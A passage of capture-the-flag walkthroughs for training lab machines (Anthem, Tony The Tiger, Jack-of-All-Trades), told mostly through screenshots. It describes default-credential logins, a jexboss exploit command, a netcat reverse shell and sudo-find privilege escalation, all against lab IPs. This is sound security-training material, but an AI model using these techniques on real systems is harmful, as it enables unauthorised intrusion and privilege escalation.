![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4pOt-NhYlnxkWC81L%2Fimage.png?alt=media\&token=9cd1c20b-9341-4ff2-827e-2eb41e681285)

We know it was successful because after the request, the attacker was sent to the admin page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4pB9Y9bZy2Tah9o61%2Fimage.png?alt=media\&token=dc94dcef-9ac0-4388-a5c0-7ae03e78cf42)

Looking at the last request of Sqlmap we can see that the were able to retrieve the email and password.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4q49mcBS3UKcJ_YIa%2Fimage.png?alt=media\&token=1f9b98f9-e98e-42cd-b5bc-6bb04b78266f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4q9g1Vhr3aPYMO7Hw%2Fimage.png?alt=media\&token=f17feb97-d760-4e4d-bd26-44e055fa4f80)

The files they tried to download can be found at the end of the logs

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4qaIbe60vUfkoMaLU%2Fimage.png?alt=media\&token=9a9575be-1ed4-4458-8d1c-ecd9187cfd68)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4qgzt25uHdwfE4Udg%2Fimage.png?alt=media\&token=b833bfad-0d86-4c42-b76f-322a31b498ab)

To look at the services and account names that were used, we need to look at the service file, which is `vsfptd.log`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4rCeI_d5KjHkBbNbt%2Fimage.png?alt=media\&token=d02c62a0-eba1-4ec1-b7b3-0348b3ffffa2)

The service is FTP and the account name is `anonymous`.

To see the username and service that were used to gain shell access to the server, we need to look at the Authentication logs, which is auth.log

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4rrG6voFzLFZQycyx%2Fimage.png?alt=media\&token=5ee8171a-54f6-4d91-8dea-7cd0b5d31235)

The version is SSH and the username they were logged in as is `www-data`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4s-O_bZVYsY5wcXRE%2Fimage.png?alt=media\&token=f5c4f426-95c9-40ba-acf8-3cc5fe1010d0)


# Anthem

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-MczweEtN8yPqljjEhL1%2Fimage.png?alt=media\&token=45f32a0f-dd04-491c-b256-d9a00e7d16a3)

## Website Analysis

Lets run nmap scans to find open pots and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Mczy08nIblWqrhLKZPj%2Fimage.png?alt=media\&token=8f72a7bd-499f-4ce8-9e21-99fcc85abd65)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-MczxZR8oiUTFU1AxL4M%2Fimage.png?alt=media\&token=96639720-a50a-4333-ad68-4344ed78c95f)

Lets visit the webserver

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Mczy6kOiZH5YvIikdte%2Fimage.png?alt=media\&token=020ed813-864f-4b4d-ba9c-afcdc0dc7a43)

Looking at the articles, we have a poem and it looks like the admin wrote this, so lets see who wrote this poem

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Mczyz6svwhdBPqQ3sMm%2Fimage.png?alt=media\&token=18b59086-9654-4f04-9275-fd536c0252ae)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Mczz1lt8OrenPNWG77s%2Fimage.png?alt=media\&token=5c99f2b6-ee2e-4b27-9554-2087ca52515b)

We have a username. Lets check `robots.txt` as we some interesting information in the nmap scan

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-MczzDT9boRahZMORu8g%2Fimage.png?alt=media\&token=8c7fe906-84ae-4e37-820f-ce68dd1c6f04)

Looks like a password, lets save it for later. Looking through the directories, There is a login page on `/umbraco`&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-Fojzdxn565be6Gqf%2Fimage.png?alt=media\&token=736bf97a-9948-40af-90ca-18b73e96629f)

We do not have credentials. We also know that the CMS version this page is using is `Umbraco`. The domain is on the home page of the webserver. We can find the email of the admin on the `We are hiring` article.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Md--tKwpLU9eatGePCF%2Fimage.png?alt=media\&token=0670e3f3-00d6-461d-a86f-898b697d65e2)

With this email, we can assume the email format of the admin

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Md-0JNgS3PO7iF3HGOp%2Fimage.png?alt=media\&token=2932df41-a8bc-4454-990c-83e410f588e9)

## Spot The Flags

The first flag can be found on the source code of the `We are hiring` page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Md-13GYiKsUfpMrvG9I%2Fimage.png?alt=media\&token=428db550-a36a-440b-a9fa-435587547830)

Now we know that the flag format for the flags are THM{} so we can use `Ctrl + F` to find flags on a page, lets check if there are any other flags on this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Md-1RPu4iHTcSyCa80w%2Fimage.png?alt=media\&token=bcd51ef0-ea70-4792-9d0a-abbc4a65f63e)

We have another file

The third flag can be found in the link that we can click in the source code that will take us to `/authors/jane-doe`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Md-1oSdl5Hqv01A7dkC%2Fimage.png?alt=media\&token=f5a580e1-9dd9-4e30-9613-b4806ec98182)

We can find the fourth flag in the source code of the `A cheers to our IT department` page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczwOddix5Fz2ABny71%2F-Md-2NKpKeT5baaZ5Ww2%2Fimage.png?alt=media\&token=42c7e1b0-90f4-49f3-8526-177d5bc29a6f)

Now that we have credentials we can login through the login portal that we found earlier

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-GTB2CLUKsHd6v9Dr%2Fimage.png?alt=media\&token=f90f368e-385f-42d5-9e3a-c2c6297eb7ef)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-HQOCOAccqRJCi9HA%2Fimage.png?alt=media\&token=8944ddfe-721e-4bd8-ac8d-7840762bfcbd)

## Final Stage

We have nothing of interest so lets login into the Windows machine using `remmina`. Lets first install the app.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-HpArUE2qntVi3GG6%2Fimage.png?alt=media\&token=b1ca2d11-0b92-4fd3-8c0a-ab171c6c9fd3)

Lets login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-IFFX-9VmORMboUzn%2Fimage.png?alt=media\&token=80eebf6c-ab0f-4173-9758-e3b6a503a210)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-IL-x3mVyO9dnwf8i%2Fimage.png?alt=media\&token=a60195a5-9c5c-4223-8246-1d9c99f9136e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-J9EhPpw86Wz61LVs%2Fimage.png?alt=media\&token=0d8c3a40-d29f-4847-96b6-9090af267fad)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-JTMOLeZXK4dfqVGL%2Fimage.png?alt=media\&token=59ece477-600d-4517-9939-6075284ba80b)

We are logged in, lets see the user file on the desktop

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-J_qmsDyEcOrqBwKp%2Fimage.png?alt=media\&token=4416a6a8-38f1-4e81-a479-6ff2e3a54da5)

Lets open the command prompt

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-2SNsNG_8mY5LM15l%2F-Md-JsT5RXNgmQIrH-Eg%2Fimage.png?alt=media\&token=2f3fe3db-ef2e-4fa9-b793-f5043c7e2513)

We are not admin on the machine yet, so we need to privesc to admin.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-KbJrbfN7_r-uwxOO%2F-Md-KuFR-mF5IiZuXuE-%2Fimage.png?alt=media\&token=03e6cc7b-052e-4ba5-a275-97554005830a)

Looking at the hint they gave us, it is supposed to be a hidden file. Lets select the options to look at hidden `files/folders` on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-L57ZPyiZTG70I_Ds%2F-Md-M6Y6ZSAsPDhobSZg%2Fimage.png?alt=media\&token=9cc50322-10d2-47dc-8f2c-d5a5596d38bb)

Now we see a `backup` folder, which is interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-L57ZPyiZTG70I_Ds%2F-Md-MExjzcFkTMs6z6jN%2Fimage.png?alt=media\&token=02185b4b-f99b-44f9-94c8-4964c6d2337a)

Lets check what the folder has

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-L57ZPyiZTG70I_Ds%2F-Md-MLdBnBssldF_BlDh%2Fimage.png?alt=media\&token=26db4c6f-30ec-47d1-8956-83c6d9be83fe)

There is a `restore.txt` file, lets try to read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-L57ZPyiZTG70I_Ds%2F-Md-MTP6bp6oYhAA6uUE%2Fimage.png?alt=media\&token=aaa72fa6-07ea-4b49-aaae-16e820d4dd56)

So we do not have permissions. Lets go to Properties > Security > Add and then lets add users so that we can read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-L57ZPyiZTG70I_Ds%2F-Md-R5EPbAkkF3TRTk6s%2Fimage.png?alt=media\&token=ec87f303-21e6-48cf-99a0-550c3c3d6010)

Now we can read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-L57ZPyiZTG70I_Ds%2F-Md-RE_EmLum1lKgzjDh%2Fimage.png?alt=media\&token=a4345d07-19a1-44fc-a354-0aebe7ac2184)

Now lets login as administrator as I think this is the password for admin, lets read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md-L57ZPyiZTG70I_Ds%2F-Md-SMQLsfyTO-t4Z3ZE%2Fimage.png?alt=media\&token=fe80b876-3385-4f65-af87-63a9514a96de)


# Tony The Tiger

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczJt8hB2HNCVFjrHjZ%2F-MczJwhb8kLZq9U4tJJH%2Fimage.png?alt=media\&token=d750c9bf-a258-4e22-8401-e4a8e4ef827e)

## Support Material

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczJt8hB2HNCVFjrHjZ%2F-MczKZV95onmcJ6DWWq7%2Fimage.png?alt=media\&token=b4eea652-57fc-4977-a0bb-812c5bdc9f17)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczJt8hB2HNCVFjrHjZ%2F-MczKnpolkk-9QHNM08r%2Fimage.png?alt=media\&token=7d21024b-96c1-4c3b-90bb-7d2deb6d77f5)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczJt8hB2HNCVFjrHjZ%2F-MczLJzkfa7lKlDsgn0-%2Fimage.png?alt=media\&token=86860fcd-8617-45dc-8980-282485d40087)

## Reconnaissance

Lets run nmap scans to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLME7ur-JDmPtoy7x%2F-MczLmPw_WYnrObP-_vR%2Fimage.png?alt=media\&token=08f93652-ced6-4270-a8c8-5484edd06690)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLoHMn2itHbsp1JIf%2F-MczLwb1Splz9rInw4kG%2Fimage.png?alt=media\&token=095672b3-b436-4148-bba4-542c8cf9dc2a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLoHMn2itHbsp1JIf%2F-MczM0WKbkubdXYSGLrL%2Fimage.png?alt=media\&token=b6c053a6-3a84-429b-9fda-b457492482c9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLoHMn2itHbsp1JIf%2F-MczMdzMejPZzRp_1yiT%2Fimage.png?alt=media\&token=2fde8a78-dabe-41d2-bbbe-fce955afdc2b)

## Find Tony's flag

Lets visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLoHMn2itHbsp1JIf%2F-MczNL5LS0q329y5lVOj%2Fimage.png?alt=media\&token=0ed8e7b9-0083-49fc-b9d6-316e46ffb8a9)

Reading the blogs, we can read that the photos might have a deeper meaning to them, so lets download the images to our machine and use our `steganography` skills to find hidden information in the images.

The first image can be found when we click read more on the second blog

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLoHMn2itHbsp1JIf%2F-MczNkBeY5yfYAs53SvD%2Fimage.png?alt=media\&token=b0662bc5-6d4e-4846-8f01-db8fc08ffdcb)

And the next picture can be found on the first blog

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLoHMn2itHbsp1JIf%2F-MczNqNHGyyPFgMNifwv%2Fimage.png?alt=media\&token=86526174-b63b-49da-8531-a22e148550c8)

We can go to the source code and the get the location of the images so that we can download them to our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczLoHMn2itHbsp1JIf%2F-MczOlyO4y1jo6tM0vik%2Fimage.png?alt=media\&token=b4b5979d-b4cd-4680-be76-d036aab6075b)

We get nothing with `steghide`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczPA895dTWQwpdjglX%2Fimage.png?alt=media\&token=832b453e-0d4c-4b18-85ed-d9d08b1a32c9)

Lets use the `strings` command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczPMepVaSF4ciBeAYu%2Fimage.png?alt=media\&token=49f904f4-2333-45f7-9932-51ebe1093a9a)

We have the flag

## Exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczPaT-6BAHiCWUIVsN%2Fimage.png?alt=media\&token=e5fdab2a-b7cf-48ba-8b92-378eee6cdc1f)

Once downloaded, lets unzip this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczQ3prI_rn6V3HWf84%2Fimage.png?alt=media\&token=8f2ad272-8686-4cac-b98b-9fc68bf788bc)

Lets now go check out the application running on port 8080

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczRCXhgjnZs3_nchzf%2Fimage.png?alt=media\&token=dcdadb71-bd8e-4c42-8a60-8ef2ca73935c)

Its called `JBoss`. Lets try to login , lets click Administration Console

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczRSwbBC72YIcSk2qe%2Fimage.png?alt=media\&token=441ad726-44bc-418c-a09a-4ab694191d56)

We do not have credentials so lets go to google and look for default creds and see if they work.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczRmgcYTgoFFFK6_s_%2Fimage.png?alt=media\&token=9340a289-4b87-4c0c-8008-51e5b332d76d)

Lets see if these work

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczRs5Zx5X47nof3xcN%2Fimage.png?alt=media\&token=df54fbff-51ce-4e52-b6ae-d4547ad786d2)

And they do , we are logged in. Lets go to Google to look for vulnerabilities for the application.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczT5U1bv47JNCU41vu%2Fimage.png?alt=media\&token=4ee18cb1-044d-4ffa-ba77-15425ff35aea)

Lets clone this github repo and use this tool

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczOzQbANy0ND2Mz4LW%2F-MczTCIztsMKwRrk01OP%2Fimage.png?alt=media\&token=be0a657b-17d4-47e3-98c3-d53661891f1b)

We have some requirements that we need to download, so lets do that

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczTU2l2Esu1OZUjxVV%2F-MczTiEih95u22S43jRF%2Fimage.png?alt=media\&token=e31a628b-c4e1-4f0f-85c6-dcaca13d7655)

Lets run the exploit

```
python jexboss.py 10.10.121.22:8080
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczTU2l2Esu1OZUjxVV%2F-MczUA9nbPvPUIh-X3Pu%2Fimage.png?alt=media\&token=9a47f05d-ddd1-48b4-9c7d-fe92b30e7d15)

We can run command on the machine, lets run a reverse shell script to get a reverse shell on the machine.

Lets first start a Netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczTU2l2Esu1OZUjxVV%2F-MczUxgrzw_Bbx-IFP1d%2Fimage.png?alt=media\&token=a6e3ecd0-aa7a-4577-a052-c696d68f8c0e)

Lets now run the command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczV7vxae7H3fKykkZZ%2Fimage.png?alt=media\&token=f3a33750-34b0-48bf-949f-cf5c0906924d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczVBCXLJcEZmndWFoL%2Fimage.png?alt=media\&token=33a6399a-3ffe-4aba-bae3-3e980da9c890)

We have a shell on the machine, lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczVMd0-TikbMsGmRCK%2Fimage.png?alt=media\&token=29647a1f-72f6-4fe1-8ecb-1dc0672108cc)

Looking through the machine, we see this interesting file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczVfZRRt2OV-xg67Vo%2Fimage.png?alt=media\&token=20edbe19-ac95-404e-b0d8-946ce8c6fd8d)

We have the password for the user `JBoss`, lets switch users

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczVshIxm3gD5t3FKUC%2Fimage.png?alt=media\&token=863240cd-0663-4e21-95e4-7487be273378)

## Privilege Escalation

Lets run `sudo -l` to see what we can run as other users

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczWCBBRzeScb6BSpCs%2Fimage.png?alt=media\&token=9d86af8c-237c-4339-a6eb-6451deaa1ea7)

Looks like we can run the `find` command. Lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/find/#sudo)and find the command to get root on the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczWYiLnV1cG2odPcv5%2Fimage.png?alt=media\&token=9fd49045-0f98-403c-b821-06e122458d3a)

Lets run this command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczWaqV7AZ_Ju7B5gs8%2Fimage.png?alt=media\&token=23d7a716-3b7f-4480-aa14-0bf37ab4d54a)

We are root.

The flag for task 6 can be found here

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczWsGpSQ_YvTirmuKH%2Fimage.png?alt=media\&token=d9514c38-d476-41a2-9b3a-ec69ac250dd2)

And the final flag here

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MczUzzcSkBKGVpMWsrC%2F-MczWzNXm9krWWbAxTSx%2Fimage.png?alt=media\&token=44b1f1ea-817f-442a-b835-04ab8d899dfe)

Its base64 and md5 encoded so you can decode it on your own :)


# Jack-of-All-Trades

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuBhC1p4kMOhz-hILJ%2F-McuBraVpZmSim70sH5H%2Fimage.png?alt=media\&token=d1c6154a-2ada-4480-9054-b37b984ea21f)

## Scanning

Lets run nmap scans to find open ports and services.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuC0_V42oDeS-PT6ci%2F-McuDHl7IeDl9lvSMlq2%2Fimage.png?alt=media\&token=474a5938-603e-40ba-8a13-3bc773199cde)

## Enumeration

Lets visit the website on port 22

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuC0_V42oDeS-PT6ci%2F-McuE8qiMG41P092tJEu%2Fimage.png?alt=media\&token=c3e07fef-9830-45ff-9832-64355cf6e97b)

We have to bypass this and we can do this by going to `about:config` and search for `network.security.ports.banned.override`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuC0_V42oDeS-PT6ci%2F-McuEXzcDjj8KNZr4mKg%2Fimage.png?alt=media\&token=53296e3f-4b38-45a2-adf7-f747108f0fd7)

Now delete the current one and add another with the String option and type in port 22

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuC0_V42oDeS-PT6ci%2F-McuF7aFDPObhhN8mPZT%2Fimage.png?alt=media\&token=81233c90-5f92-4b15-a95b-b8722c73cc0a)

Now lets visit the site on port 22 again

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuC0_V42oDeS-PT6ci%2F-McuFMrsYxOjx6NeBdk4%2Fimage.png?alt=media\&token=f473628d-1635-4b2d-aecf-1cd6e89e4267)

We have a web page. We also have a username `Jack`. Lets run a gobuster scan while we explore the webpage.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.182.211:22/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuLfAX-aWHr1KquTcE%2F-McuNciGJGIm2lMZ-Unt%2Fimage.png?alt=media\&token=83028923-f751-4abe-bc7e-982fbb94afe9)

We get nothing of interest

Lets look at the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McuFh3nGpxDoLteWV2D%2F-McuFqQQoMUZPxKa8K20%2Fimage.png?alt=media\&token=36f4e380-38b9-426f-94aa-f3df5db899db)

Ok so we have a web page called `/recovery.php` and a string , lets decode the string using [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64\('A-Za-z0-9%2B/%3D',true\)\&input=VW1WdFpXMWlaWElnZEc4Z2QybHphQ0JLYjJodWVTQkhjbUYyWlhNZ2QyVnNiQ0IzYVhSb0lHaHBjeUJqY25sd2RHOGdhbTlpYUhWdWRHbHVaeUVnU0dseklHVnVZMjlrYVc1bklITjVjM1JsYlhNZ1lYSmxJR0Z0WVhwcGJtY2hJRUZzYzI4Z1oyOTBkR0VnY21WdFpXMWlaWElnZVc5MWNpQndZWE56ZDI5eVpEb2dkVDlYZEV0VGNtRnhDZw)

